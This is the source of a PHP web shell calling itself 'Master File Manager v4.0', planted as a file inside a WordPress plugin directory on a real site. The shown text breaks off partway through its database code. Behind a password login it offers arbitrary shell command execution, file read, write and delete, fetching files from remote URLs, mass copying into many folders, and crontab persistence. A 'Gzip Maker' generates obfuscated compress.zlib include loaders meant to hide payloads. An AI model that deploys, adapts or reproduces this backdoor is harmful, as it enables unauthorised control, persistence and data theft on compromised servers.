HEX
Server: LiteSpeed
System: Linux standart108 4.18.0-553.121.1.lve.el8.x86_64 #1 SMP Thu Apr 30 16:40:41 UTC 2026 x86_64
User: pplae2ji7 (11089)
PHP: 8.3.33
Disabled: opcache_get_status
Upload Files
File: /var/www/vhosts/plasmak.com.tr/httpdocs/wp-content/plugins/neoncore-themes/O/mas2.php
<?php
/**
 * Master File Manager v4.0 - Complete Edition
 * Menggabungkan Secure Auth Gate login dengan semua fitur dari JS Version
 * Fixed: Mass Upload result display
 */

ob_start();
error_reporting(E_ALL);
ini_set('display_errors', 1);

// ===== SESSION CONFIG =====
ini_set('session.gc_maxlifetime', 7200);
ini_set('session.cookie_lifetime', 7200);
session_start();
session_regenerate_id(true);

define('MASTER_VERSION', '4.0.0');
define('MASTER_AUTHOR', 'id69');

// ===== AUTHENTICATION (Seperti Secure Auth Gate) =====
// Ganti hash ini dengan hash bcrypt password Anda
$auth_hash    = '$2a$12$9i9Zb9USpwIavav08vmfkeuKHry97qNuJ/GTSouK33iCSQcD7dG72'; // default: "password"
$cookie_name  = 'master_auth';
$cookie_days  = 30;
$cookie_token = hash_hmac('sha256', 'master_auth_v1', $auth_hash);

// Cek auth via session atau cookie
function is_authed() {
    global $cookie_token, $cookie_name;
    if (!empty($_SESSION['master_auth'])) return true;
    if (!empty($_COOKIE[$cookie_name]) && hash_equals($cookie_token, $_COOKIE[$cookie_name])) {
        $_SESSION['master_auth'] = true;
        return true;
    }
    return false;
}

// Logout via GET
if (isset($_GET['logout'])) {
    $_SESSION = [];
    session_destroy();
    $clean_url = strtok($_SERVER['PHP_SELF'], '?');
    echo '<script>document.cookie="'.$cookie_name.'=;expires=Thu, 01 Jan 1970 00:00:00 UTC;path=/";window.location.replace('.json_encode($clean_url).');</script>';
    exit;
}

// Proses login via AJAX
if (isset($_POST['password']) && password_verify($_POST['password'], $auth_hash)) {
    $_SESSION['master_auth'] = true;
    session_write_close();
    
    $expire = time() + ($cookie_days * 86400);
    
    if (!empty($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) == 'xmlhttprequest') {
        header('Content-Type: application/json');
        echo json_encode([
            'status' => 'success', 
            'redirect' => strtok($_SERVER['PHP_SELF'], '?'),
            'cookie_name' => $cookie_name,
            'cookie_token' => urlencode($cookie_token),
            'cookie_expire' => $expire
        ]);
        exit;
    } else {
        echo '<script>
            var expire = new Date(' . $expire . ' * 1000).toUTCString();
            document.cookie = "' . $cookie_name . '=' . urlencode($cookie_token) . ';expires=" + expire + ";path=/;samesite=Lax";
            window.location.replace(' . json_encode(strtok($_SERVER['PHP_SELF'], '?')) . ');
        </script>';
        exit;
    }
}

// Jika belum login, tampilkan form login
if (!is_authed()) {
    ?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Master File Manager - Secure Access</title>
    <link href="https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;500;600&display=swap" rel="stylesheet">
    <style>
        :root {
            --bg:#050505;
            --bg-gradient:radial-gradient(1200px 600px at 50% -20%,#1a1a2e 0%,transparent 60%),
                          radial-gradient(800px 400px at 100% 100%,#0f0f1a 0%,transparent 70%);
            --card-bg:rgba(20,20,28,0.6);
            --card-border:rgba(80,80,100,0.15);
            --card-glow:rgba(59,130,246,0.08);
            --text:#e6e6f0; --text-dim:#78788c;
            --accent:#10b981; --accent-hover:#34d399;
            --error:#f87171;
            --input-bg:rgba(10,10,18,0.8);
            --input-border:rgba(100,100,120,0.2);
            --input-focus:rgba(16,185,129,0.4);
            --transition:all 0.25s cubic-bezier(0.4,0,0.2,1);
        }
        *{margin:0;padding:0;box-sizing:border-box}
        body{
            font-family:'JetBrains Mono',monospace;
            background:var(--bg);background-image:var(--bg-gradient);
            color:var(--text);min-height:100vh;
            display:flex;align-items:center;justify-content:center;
            padding:20px;-webkit-font-smoothing:antialiased;
        }
        body::before{
            content:"";position:fixed;inset:0;
            background-image:
                radial-gradient(1px 1px at 20px 30px,rgba(100,100,140,0.1) 50%,transparent 52%),
                radial-gradient(1px 1px at 80px 60px,rgba(100,100,140,0.08) 50%,transparent 52%),
                radial-gradient(1px 1px at 140px 100px,rgba(100,100,140,0.12) 50%,transparent 52%);
            background-size:200px 150px;animation:drift 80s linear infinite;
            pointer-events:none;z-index:0;
        }
        @keyframes drift{0%{transform:translateY(0)}100%{transform:translateY(-200px)}}
        .auth-container{position:relative;z-index:1;width:100%;max-width:420px}
        .auth-card{
            background:var(--card-bg);border:1px solid var(--card-border);
            border-radius:20px;padding:36px 32px;
            backdrop-filter:blur(12px);-webkit-backdrop-filter:blur(12px);
            box-shadow:0 0 0 1px var(--card-border),0 20px 40px -10px rgba(0,0,0,0.6),0 0 60px -10px var(--card-glow);
        }
        .brand{display:flex;align-items:center;gap:12px;margin-bottom:28px;padding-bottom:20px;border-bottom:1px solid var(--card-border)}
        .brand-icon{
            width:36px;height:36px;border-radius:10px;
            background:linear-gradient(135deg,var(--accent),#059669);
            display:flex;align-items:center;justify-content:center;
            font-weight:600;font-size:16px;color:white;
            box-shadow:0 4px 14px -2px rgba(16,185,129,0.4);flex-shrink:0;
        }
        .brand-text h1{font-size:18px;font-weight:600;letter-spacing:-0.02em}
        .brand-text p{font-size:12px;color:var(--text-dim);margin-top:2px}
        .form-group{margin-bottom:24px}
        .form-label{display:block;font-size:12px;font-weight:500;color:var(--text-dim);margin-bottom:10px;text-transform:uppercase;letter-spacing:0.08em}
        .auth-input{
            width:100%;padding:14px 18px;
            background:var(--input-bg);border:1px solid var(--input-border);
            border-radius:12px;color:var(--text);font-family:inherit;
            font-size:14px;outline:none;transition:var(--transition);
        }
        .auth-input::placeholder{color:var(--text-dim);opacity:0.7}
        .auth-input:focus{border-color:var(--accent);box-shadow:0 0 0 4px var(--input-focus)}
        .auth-input.error{border-color:var(--error);animation:shake 0.4s ease}
        @keyframes shake{0%,100%{transform:translateX(0)}25%{transform:translateX(-4px)}75%{transform:translateX(4px)}}
        .submit-btn{
            width:100%;padding:14px;
            background:linear-gradient(135deg,var(--accent),#059669);
            color:white;border:none;border-radius:12px;font-family:inherit;
            font-size:14px;font-weight:500;cursor:pointer;transition:var(--transition);
        }
        .submit-btn:hover{transform:translateY(-1px);box-shadow:0 8px 24px -6px rgba(16,185,129,0.5);background:linear-gradient(135deg,var(--accent-hover),#10b981)}
        .submit-btn:active{transform:translateY(0)}
        .submit-btn:disabled{opacity:0.6;cursor:not-allowed;transform:none}
        .error-msg{
            display:flex;align-items:center;gap:8px;padding:12px 16px;
            background:rgba(248,113,113,0.08);border:1px solid rgba(248,113,113,0.2);
            border-radius:10px;color:var(--error);font-size:13px;margin-top:16px;
            animation:slideIn 0.2s ease;
        }
        @keyframes slideIn{from{opacity:0;transform:translateY(-6px)}to{opacity:1;transform:translateY(0)}}
        .footer{text-align:center;margin-top:24px;font-size:12px;color:var(--text-dim)}
        .loading{display:none;text-align:center;margin-top:16px}
        .spinner{display:inline-block;width:20px;height:20px;border:2px solid var(--accent);border-radius:50%;border-top-color:transparent;animation:spin 1s linear infinite;vertical-align:middle;margin-right:8px}
        @keyframes spin{to{transform:rotate(360deg)}}
        @media(max-width:480px){.auth-card{padding:28px 20px;border-radius:18px}}
    </style>
</head>
<body>
<div class="auth-container">
    <div class="auth-card">
        <div class="brand">
            <div class="brand-icon">๐Ÿ”ง</div>
            <div class="brand-text">
                <h1>Master File Manager</h1>
                <p>Secure Authentication Required</p>
            </div>
        </div>
        <form id="authForm">
            <div class="form-group">
                <label class="form-label" for="access_key">Access Key</label>
                <input
                    type="password"
                    name="password"
                    id="access_key"
                    class="auth-input"
                    placeholder="Enter your secure key"
                    required
                    autocomplete="current-password"
                    autofocus
                >
            </div>
            <button type="submit" class="submit-btn" id="submitBtn">Authenticate</button>
            <div id="errorMsg" class="error-msg" style="display:none">
                <span>โš ๏ธ</span><span id="errorText"></span>
            </div>
            <div id="loginLoading" class="loading">
                <div class="spinner"></div> Verifying...
            </div>
        </form>
        <div class="footer">Protected by bcrypt ยท Cookie ยท Session Lock</div>
    </div>
</div>
<script>
document.getElementById('authForm').addEventListener('submit', function(e) {
    e.preventDefault();
    var password = document.getElementById('access_key').value;
    if (!password) return;
    
    var btn = document.getElementById('submitBtn');
    var loading = document.getElementById('loginLoading');
    var errorDiv = document.getElementById('errorMsg');
    var errorText = document.getElementById('errorText');
    
    btn.disabled = true;
    loading.style.display = 'block';
    errorDiv.style.display = 'none';
    
    var formData = new FormData();
    formData.append('password', password);
    
    var xhr = new XMLHttpRequest();
    xhr.open('POST', window.location.href, true);
    xhr.setRequestHeader('X-Requested-With', 'XMLHttpRequest');
    
    xhr.onload = function() {
        btn.disabled = false;
        loading.style.display = 'none';
        if (xhr.status === 200) {
            try {
                var response = JSON.parse(xhr.responseText);
                if (response.status === 'success') {
                    var expire = new Date(response.cookie_expire * 1000).toUTCString();
                    document.cookie = response.cookie_name + "=" + response.cookie_token + 
                                     ";expires=" + expire + ";path=/;samesite=Lax";
                    window.location.replace(response.redirect);
                } else {
                    errorText.innerText = response.message || 'Access key tidak valid.';
                    errorDiv.style.display = 'flex';
                    document.getElementById('access_key').classList.add('error');
                }
            } catch(e) {
                errorText.innerText = 'Login failed. Please try again.';
                errorDiv.style.display = 'flex';
                document.getElementById('access_key').classList.add('error');
            }
        } else {
            errorText.innerText = 'Network error. Please try again.';
            errorDiv.style.display = 'flex';
            document.getElementById('access_key').classList.add('error');
        }
    };
    xhr.onerror = function() {
        btn.disabled = false;
        loading.style.display = 'none';
        errorText.innerText = 'Network error. Please try again.';
        errorDiv.style.display = 'flex';
        document.getElementById('access_key').classList.add('error');
    };
    xhr.send(formData);
});

document.getElementById('access_key').addEventListener('input', function() {
    this.classList.remove('error');
    document.getElementById('errorMsg').style.display = 'none';
});
</script>
</body>
</html>
    <?php
    exit;
}

// ===== TMP DIRECTORY =====
$tmp_dir = '/tmp/master_' . session_id() . '/';
if (!is_dir($tmp_dir)) mkdir($tmp_dir, 0755, true);

// ===== FUNCTIONS =====
function formatBytes($bytes, $precision = 2) {
    $units = ['B', 'KB', 'MB', 'GB', 'TB'];
    $bytes = max($bytes, 0);
    $pow = floor(($bytes ? log($bytes) : 0) / log(1024));
    $pow = min($pow, count($units) - 1);
    $bytes /= pow(1024, $pow);
    return round($bytes, $precision) . ' ' . $units[$pow];
}

function deleteRecursive($path) {
    if (is_file($path)) return unlink($path);
    $files = array_diff(scandir($path), ['.', '..']);
    foreach ($files as $file) deleteRecursive($path . '/' . $file);
    return rmdir($path);
}

function sortItems($items, $cwd) {
    $dirs = [];
    $files = [];
    foreach ($items as $item) {
        if ($item == '.' || $item == '..') continue;
        if (is_dir($cwd . '/' . $item)) {
            $dirs[] = $item;
        } else {
            $files[] = $item;
        }
    }
    sort($dirs);
    sort($files);
    return array_merge($dirs, $files);
}

function createZip($items, $zip_name, $cwd) {
    $zip = new ZipArchive();
    $zip_path = $cwd . '/' . $zip_name;
    if ($zip->open($zip_path, ZipArchive::CREATE) !== TRUE) return false;
    
    foreach ($items as $item) {
        $full = $cwd . '/' . $item;
        if (is_dir($full)) {
            $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($full), RecursiveIteratorIterator::LEAVES_ONLY);
            foreach ($files as $file) {
                if (!$file->isDir()) {
                    $relative = substr($file->getPathname(), strlen($cwd) + 1);
                    $zip->addFile($file->getPathname(), $relative);
                }
            }
        } else {
            $zip->addFile($full, $item);
        }
    }
    $zip->close();
    return true;
}

function extractZip($zip_file, $extract_to) {
    $zip = new ZipArchive();
    if ($zip->open($zip_file) === TRUE) {
        $zip->extractTo($extract_to);
        $zip->close();
        return true;
    }
    return false;
}

function generateGzipLoader($target_file) {
    $target = basename($target_file, '.gz');
    
    $loaders = [
        '<?php
$gh =  ["comp", "ress.zl", "ib:/", "/' . $target . '.g", "z"];
include implode("", $gh);',
        
        '<?php
$gh =  ["comp", "ress", ".zl", "ib:", "/", "' . $target . '", ".gz"];
include implode("", $gh);',
        
        '<?php
$gh =  ["z", "' . $target . '.g", "/", "ib:/", "ress.zl", "comp"];
include implode("", array_reverse($gh));',
        
        '<?php
$gh = sprintf("%s%s%s%s%s", "comp", "ress.zl", "ib:/", "/' . $target . '.g", "z");
include $gh;'
    ];
    
    return $loaders[array_rand($loaders)];
}

function commandExec($cmd) {
    $output = '';
    if (function_exists('exec')) {
        exec($cmd . ' 2>&1', $out);
        $output = implode("\n", $out);
    } elseif (function_exists('shell_exec')) {
        $output = shell_exec($cmd);
    } elseif (function_exists('system')) {
        ob_start();
        system($cmd);
        $output = ob_get_clean();
    } else {
        $output = "Command execution disabled";
    }
    return $output;
}

function copyFileToTarget($source, $target_dir, $depth = 0) {
    $source = realpath($source);
    if (!$source || !file_exists($source)) {
        return ['status' => 'error', 'source' => $source, 'message' => 'File tidak ditemukan'];
    }
    
    if (is_dir($source)) {
        return ['status' => 'error', 'source' => $source, 'message' => 'Adalah folder'];
    }
    
    if (!is_dir($target_dir)) mkdir($target_dir, 0755, true);
    
    if ($depth == 1) {
        $parent = basename(dirname($source));
        $target_path = $target_dir . '/' . $parent . '/' . basename($source);
        if (!is_dir($target_dir . '/' . $parent)) mkdir($target_dir . '/' . $parent, 0755, true);
    } else {
        $target_path = $target_dir . '/' . basename($source);
    }
    
    if (file_exists($target_path)) {
        $pathinfo = pathinfo($target_path);
        $counter = 1;
        while (file_exists($pathinfo['dirname'] . '/' . $pathinfo['filename'] . '_' . $counter . '.' . $pathinfo['extension'])) $counter++;
        $target_path = $pathinfo['dirname'] . '/' . $pathinfo['filename'] . '_' . $counter . '.' . $pathinfo['extension'];
    }
    
    if (copy($source, $target_path)) {
        return ['status' => 'success', 'source' => $source, 'target' => $target_path];
    } else {
        return ['status' => 'error', 'source' => $source, 'message' => 'Gagal copy'];
    }
}

function downloadFromUrl($url, $target_dir, $custom_name = '', $depth = 0) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch, CURLOPT_TIMEOUT, 30);
    $content = curl_exec($ch);
    $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    if ($httpCode != 200 || !$content) {
        return ['status' => 'error', 'source' => $url, 'message' => "HTTP $httpCode"];
    }
    
    if (!is_dir($target_dir)) mkdir($target_dir, 0755, true);
    
    $filename = !empty($custom_name) ? $custom_name : (basename(parse_url($url, PHP_URL_PATH)) ?: 'downloaded.bin');
    
    if ($depth == 1 && strpos($filename, '/') !== false) {
        $parts = explode('/', $filename);
        $filename = array_pop($parts);
        $subdir = implode('/', $parts);
        $target_path = $target_dir . '/' . $subdir . '/' . $filename;
        if (!is_dir($target_dir . '/' . $subdir)) mkdir($target_dir . '/' . $subdir, 0755, true);
    } else {
        $target_path = $target_dir . '/' . $filename;
    }
    
    if (file_exists($target_path)) {
        $pathinfo = pathinfo($target_path);
        $counter = 1;
        while (file_exists($pathinfo['dirname'] . '/' . $pathinfo['filename'] . '_' . $counter . '.' . $pathinfo['extension'])) $counter++;
        $target_path = $pathinfo['dirname'] . '/' . $pathinfo['filename'] . '_' . $counter . '.' . $pathinfo['extension'];
    }
    
    if (file_put_contents($target_path, $content)) {
        return ['status' => 'success', 'source' => $url, 'target' => $target_path];
    } else {
        return ['status' => 'error', 'source' => $url, 'message' => 'Gagal simpan'];
    }
}

// ===== AJAX Handler untuk semua action =====
if (!empty($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) == 'xmlhttprequest') {
    header('Content-Type: application/json');
    
    $ajax_action = $_POST['ajax_action'] ?? $_GET['ajax_action'] ?? '';
    
    // File Manager Actions
    if ($ajax_action == 'list_files') {
        $path = $_POST['path'] ?? getcwd();
        $cwd = realpath($path);
        if (!$cwd || !is_dir($cwd)) $cwd = getcwd();
        
        $search = $_POST['search'] ?? '';
        $items = scandir($cwd);
        $filtered = [];
        foreach ($items as $item) {
            if ($item == '.') continue;
            if ($item == '..' && $cwd == '/') continue;
            if (empty($search) || stripos($item, $search) !== false) {
                $filtered[] = $item;
            }
        }
        $sorted = sortItems($filtered, $cwd);
        
        $files = [];
        foreach ($sorted as $item) {
            $full = $cwd . '/' . $item;
            $isDir = is_dir($full);
            $perms = substr(sprintf('%o', fileperms($full)), -4);
            $modified = date("Y-m-d H:i:s", filemtime($full));
            $size = $isDir ? 0 : filesize($full);
            
            $owner = fileowner($full);
            $group = filegroup($full);
            if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) {
                $owner_name = posix_getpwuid($owner)['name'] ?? $owner;
                $group_name = posix_getgrgid($group)['name'] ?? $group;
            } else {
                $owner_name = $owner;
                $group_name = $group;
            }
            
            $files[] = [
                'name' => $item,
                'is_dir' => $isDir,
                'perms' => $perms,
                'size' => $size,
                'size_formatted' => $isDir ? '--' : formatBytes($size),
                'modified' => $modified,
                'owner_group' => $owner_name . ':' . $group_name,
                'path' => $full
            ];
        }
        
        echo json_encode([
            'status' => 'success',
            'cwd' => $cwd,
            'parent' => dirname($cwd),
            'files' => $files
        ]);
        exit;
    }
    
    if ($ajax_action == 'create_file') {
        $cwd = $_POST['cwd'];
        $filename = $_POST['filename'];
        $full = $cwd . '/' . $filename;
        if (!file_exists($full)) {
            file_put_contents($full, '');
            echo json_encode(['status' => 'success', 'message' => "File $filename created"]);
        } else {
            echo json_encode(['status' => 'error', 'message' => "File already exists"]);
        }
        exit;
    }
    
    if ($ajax_action == 'create_folder') {
        $cwd = $_POST['cwd'];
        $foldername = $_POST['foldername'];
        $full = $cwd . '/' . $foldername;
        if (!file_exists($full)) {
            mkdir($full);
            echo json_encode(['status' => 'success', 'message' => "Folder $foldername created"]);
        } else {
            echo json_encode(['status' => 'error', 'message' => "Folder already exists"]);
        }
        exit;
    }
    
    if ($ajax_action == 'delete_item') {
        $cwd = $_POST['cwd'];
        $item = $_POST['item'];
        $full = $cwd . '/' . $item;
        if (file_exists($full)) {
            deleteRecursive($full);
            echo json_encode(['status' => 'success', 'message' => "Deleted $item"]);
        } else {
            echo json_encode(['status' => 'error', 'message' => "Not found"]);
        }
        exit;
    }
    
    if ($ajax_action == 'rename_item') {
        $cwd = $_POST['cwd'];
        $old = $_POST['old'];
        $new = $_POST['new'];
        $full_old = $cwd . '/' . $old;
        $full_new = $cwd . '/' . $new;
        if (file_exists($full_old) && !file_exists($full_new)) {
            rename($full_old, $full_new);
            echo json_encode(['status' => 'success', 'message' => "Renamed $old -> $new"]);
        } else {
            echo json_encode(['status' => 'error', 'message' => "Rename failed"]);
        }
        exit;
    }
    
    if ($ajax_action == 'chmod_item') {
        $full = $_POST['file'];
        $perms = intval($_POST['perms'], 8);
        if (chmod($full, $perms)) {
            echo json_encode(['status' => 'success', 'message' => "Chmod " . substr(sprintf('%o', fileperms($full)), -4)]);
        } else {
            echo json_encode(['status' => 'error', 'message' => "Chmod failed"]);
        }
        exit;
    }
    
    if ($ajax_action == 'get_file_content') {
        $file = $_POST['file'];
        if (file_exists($file) && is_file($file) && is_readable($file)) {
            echo json_encode(['status' => 'success', 'content' => file_get_contents($file)]);
        } else {
            echo json_encode(['status' => 'error', 'message' => 'Cannot read file']);
        }
        exit;
    }
    
    if ($ajax_action == 'save_file_content') {
        $file = $_POST['file'];
        $content = $_POST['content'];
        if (file_put_contents($file, $content)) {
            echo json_encode(['status' => 'success', 'message' => 'File saved']);
        } else {
            echo json_encode(['status' => 'error', 'message' => 'Cannot save file']);
        }
        exit;
    }
    
    if ($ajax_action == 'upload_file') {
        $cwd = $_POST['cwd'];
        if (isset($_FILES['file']) && $_FILES['file']['error'] == 0) {
            $target = $cwd . '/' . $_FILES['file']['name'];
            if (move_uploaded_file($_FILES['file']['tmp_name'], $target)) {
                echo json_encode(['status' => 'success', 'message' => 'File uploaded', 'filename' => $_FILES['file']['name']]);
            } else {
                echo json_encode(['status' => 'error', 'message' => 'Upload failed']);
            }
        } else {
            echo json_encode(['status' => 'error', 'message' => 'No file or upload error']);
        }
        exit;
    }
    
    // Create ZIP
    if ($ajax_action == 'create_zip') {
        $cwd = $_POST['cwd'];
        $zip_name = $_POST['zip_name'];
        $items = json_decode($_POST['items'], true);
        
        if (empty($zip_name)) $zip_name = 'archive_' . date('Ymd_His') . '.zip';
        if (!str_ends_with($zip_name, '.zip')) $zip_name .= '.zip';
        
        if (createZip($items, $zip_name, $cwd)) {
            echo json_encode(['status' => 'success', 'message' => 'ZIP created', 'zip_file' => $zip_name]);
        } else {
            echo json_encode(['status' => 'error', 'message' => 'Failed to create ZIP']);
        }
        exit;
    }
    
    // Extract ZIP
    if ($ajax_action == 'extract_zip') {
        $zip_file = $_POST['zip_file'];
        $extract_to = $_POST['extract_to'];
        
        if (!file_exists($zip_file)) {
            echo json_encode(['status' => 'error', 'message' => 'ZIP file not found']);
            exit;
        }
        
        $zip_check = new ZipArchive();
        $need_folder = true;
        
        if ($zip_check->open($zip_file) === TRUE) {
            $root_items = [];
            $has_root_file = false;
            for ($i = 0; $i < $zip_check->numFiles; $i++) {
                $name = $zip_check->getNameIndex($i);
                if (strpos($name, '__MACOSX/') === 0) continue;
                $parts = explode('/', $name);
                $first_item = $parts[0];
                if (!in_array($first_item, $root_items)) $root_items[] = $first_item;
                if (count($parts) == 1 && substr($name, -1) != '/') $has_root_file = true;
            }
            $single_folder_only = (count($root_items) == 1 && !$has_root_file);
            $need_folder = !$single_folder_only;
            $zip_check->close();
        }
        
        if ($need_folder) {
            $extract_target = $extract_to . '/' . pathinfo($zip_file, PATHINFO_FILENAME);
        } else {
            $extract_target = $extract_to;
        }
        
        if (!is_dir($extract_target)) mkdir($extract_target, 0755, true);
        
        if (extractZip($zip_file, $extract_target)) {
            echo json_encode(['status' => 'success', 'message' => 'Extracted', 'target' => $extract_target]);
        } else {
            echo json_encode(['status' => 'error', 'message' => 'Extraction failed']);
        }
        exit;
    }
    
    // Mass Uploader
    if ($ajax_action == 'mass_upload') {
        $action = $_POST['mass_action'];
        $target_dir = $_POST['target_dir'];
        $depth = intval($_POST['depth']);
        
        $results = [];
        $success = 0;
        $failed = 0;
        
        $target_folders = [];
        if (strpos($target_dir, '*') !== false) {
            $target_folders = glob($target_dir);
        } else {
            $target_folders = [$target_dir];
            if (!is_dir($target_dir)) mkdir($target_dir, 0755, true);
        }
        
        if ($action == 'copy') {
            $file_list = explode("\n", trim($_POST['file_list']));
            foreach ($file_list as $item) {
                $item = trim($item);
                if (empty($item)) continue;
                
                if (strpos($item, '*') !== false) {
                    $source_files = glob($item);
                    foreach ($source_files as $source_file) {
                        foreach ($target_folders as $folder) {
                            $result = copyFileToTarget($source_file, $folder, $depth);
                            if ($result['status'] == 'success') $success++; else $failed++;
                            $results[] = $result;
                        }
                    }
                } else {
                    foreach ($target_folders as $folder) {
                        $result = copyFileToTarget($item, $folder, $depth);
                        if ($result['status'] == 'success') $success++; else $failed++;
                        $results[] = $result;
                    }
                }
            }
        } elseif ($action == 'url') {
            $url_list = explode("\n", trim($_POST['url_list']));
            foreach ($url_list as $line) {
                $line = trim($line);
                if (empty($line)) continue;
                $parts = explode('|', $line);
                $url = trim($parts[0]);
                $custom_name = isset($parts[1]) ? trim($parts[1]) : '';
                if (filter_var($url, FILTER_VALIDATE_URL)) {
                    foreach ($target_folders as $folder) {
                        $result = downloadFromUrl($url, $folder, $custom_name, $depth);
                        if ($result['status'] == 'success') $success++; else $failed++;
                        $results[] = $result;
                    }
                } else {
                    $failed++;
                    $results[] = ['status' => 'error', 'source' => $url, 'message' => 'URL tidak valid'];
                }
            }
        }
        
        echo json_encode(['success' => $success, 'failed' => $failed, 'total' => $success + $failed, 'results' => $results]);
        exit;
    }
    
    // Gzip Maker
    if ($ajax_action == 'make_gzip') {
        $source = $_POST['source'];
        $gzip_name = $_POST['gzip_name'];
        $use_loader = $_POST['use_loader'];
        $loader_name = $_POST['loader_name'];
        
        $content = '';
        if (filter_var($source, FILTER_VALIDATE_URL)) {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $source);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
            curl_setopt($ch, CURLOPT_TIMEOUT, 30);
            $content = curl_exec($ch);
            curl_close($ch);
        } elseif (file_exists($source)) {
            $content = file_get_contents($source);
        }
        
        if (empty($content)) {
            echo json_encode(['status' => 'error', 'message' => 'Source tidak valid']);
            exit;
        }
        
        if (empty($gzip_name)) $gzip_name = 'gzip_' . date('Ymd_His') . '.gz';
        if (!str_ends_with($gzip_name, '.gz')) $gzip_name .= '.gz';
        
        $gzip_path = getcwd() . '/' . $gzip_name;
        $fp = gzopen($gzip_path, 'w9');
        gzwrite($fp, $content);
        gzclose($fp);
        
        $result = ['status' => 'success', 'gzip_file' => $gzip_name, 'size' => formatBytes(filesize($gzip_path))];
        
        if ($use_loader == 'y') {
            if (empty($loader_name)) $loader_name = 'loader_' . date('Ymd_His') . '.php';
            if (!str_ends_with($loader_name, '.php')) $loader_name .= '.php';
            $loader_content = generateGzipLoader($gzip_name);
            file_put_contents($loader_name, $loader_content);
            $result['loader_file'] = $loader_name;
            $result['loader_content'] = $loader_content;
        }
        
        echo json_encode($result);
        exit;
    }
    
    // Raw URL Upload
    if ($ajax_action == 'raw_upload') {
        $url = $_POST['raw_url'];
        $filename = $_POST['filename'];
        $save_path = $_POST['save_path'];
        $rewrite_mode = $_POST['rewrite_mode'];
        
        if (!filter_var($url, FILTER_VALIDATE_URL)) {
            echo json_encode(['status' => 'error', 'message' => 'Invalid URL']);
            exit;
        }
        
        if (!is_dir($save_path)) mkdir($save_path, 0755, true);
        
        $target_file = $save_path . '/' . ($filename ?: basename(parse_url($url, PHP_URL_PATH)));
        
        if (file_exists($target_file)) {
            if ($rewrite_mode == 'skip') {
                echo json_encode(['status' => 'error', 'message' => 'File already exists (skipped)']);
                exit;
            } elseif ($rewrite_mode == 'backup') {
                $backup = $target_file . '.backup_' . date('Ymd_His');
                copy($target_file, $backup);
            }
        }
        
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($ch, CURLOPT_TIMEOUT, 30);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        $content = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        
        if ($httpCode == 200 && $content && file_put_contents($target_file, $content)) {
            echo json_encode(['status' => 'success', 'message' => 'Downloaded', 'file' => $target_file, 'size' => formatBytes(strlen($content))]);
        } else {
            echo json_encode(['status' => 'error', 'message' => "Download failed (HTTP $httpCode)"]);
        }
        exit;
    }
    
    // Command Execution
    if ($ajax_action == 'execute_cmd') {
        $cmd = $_POST['cmd'];
        $output = commandExec($cmd);
        echo json_encode(['status' => 'success', 'output' => $output]);
        exit;
    }
    
    // Cron Manager
    if ($ajax_action == 'cron_list') {
        $output = commandExec('crontab -l 2>&1');
        echo json_encode(['status' => 'success', 'output' => $output]);
        exit;
    }
    
    if ($ajax_action == 'cron_add') {
        $schedule = $_POST['schedule'];
        $command = $_POST['command'];
        $cmd = '(crontab -l 2>/dev/null; echo "' . $schedule . ' ' . $command . '") | crontab - 2>&1';
        $output = commandExec($cmd);
        echo json_encode(['status' => 'success', 'output' => $output]);
        exit;
    }
    
    if ($ajax_action == 'cron_delete') {
        $line = intval($_POST['line']);
        $cmd = 'crontab -l 2>/dev/null | sed "' . ($line + 1) . 'd" | crontab - 2>&1';
        $output = commandExec($cmd);
        echo json_encode(['status' => 'success', 'output' => $output]);
        exit;
    }
    
    // Database Manager
    if ($ajax_action == 'db_connect') {
        $host = $_POST['host'];
        $user = $_POST['user'];
        $pass = $_POST['pass'];
        $name = $_POST['name'];
        $port = $_POST['port'];
        
        try {
            $dsn = "mysql:host=$host;port=$port;charset=utf8";
            if (!empty($name)) $dsn .= ";dbname=$name";
            $pdo = new PDO($dsn, $user, $pass);
            $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
            
            $stmt = $pdo->query("SHOW DATABASES");
            $databases = $stmt->fetchAll(PDO::FETCH_COLUMN);
            
            $tables = [];
            if (!empty($name)) {
                $stmt = $pdo->query("SHOW TABLES");
                $tables = $stmt->fetchAll(PDO::FETCH_COLUMN);
            }
            
            echo json_encode(['status' => 'success', 'databases' => $databases, 'tables' => $tables, 'database' => $name]);
        } catch (Exception $e) {
            echo json_encode(['status' => 'error', 'message' => $e->getMessage()]);
        }
        exit;
    }
    
    if ($ajax_action == 'db_query') {
        $host = $_POST['host'];
        $user = $_POST['user'];
        $pass = $_POST['pass'];
        $name = $_POST['name'];
        $query = $_POST['query'];
        
        try {
            $pdo = new PDO("mysql:host=$host;dbname=$name;charset=utf8", $user, $pass);
            $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
            
            $stmt = $pdo->query($query);
            $results = $stmt->fetchAll(PDO::FETCH_ASSOC);
            
            echo json_encode(['status' => 'success', 'results' => $results]);
        } catch (Exception $e) {
            echo json_encode(['status' => 'error', 'message' => $e->getMessage()]);
        }
        exit;
    }
    
    if ($ajax_action == 'db_browse_table') {
        $host = $_POST['host'];
        $user = $_POST['user'];
        $pass = $_POST['pass'];
        $name = $_POST['name'];
        $table = $_POST['table'];
        
        try {
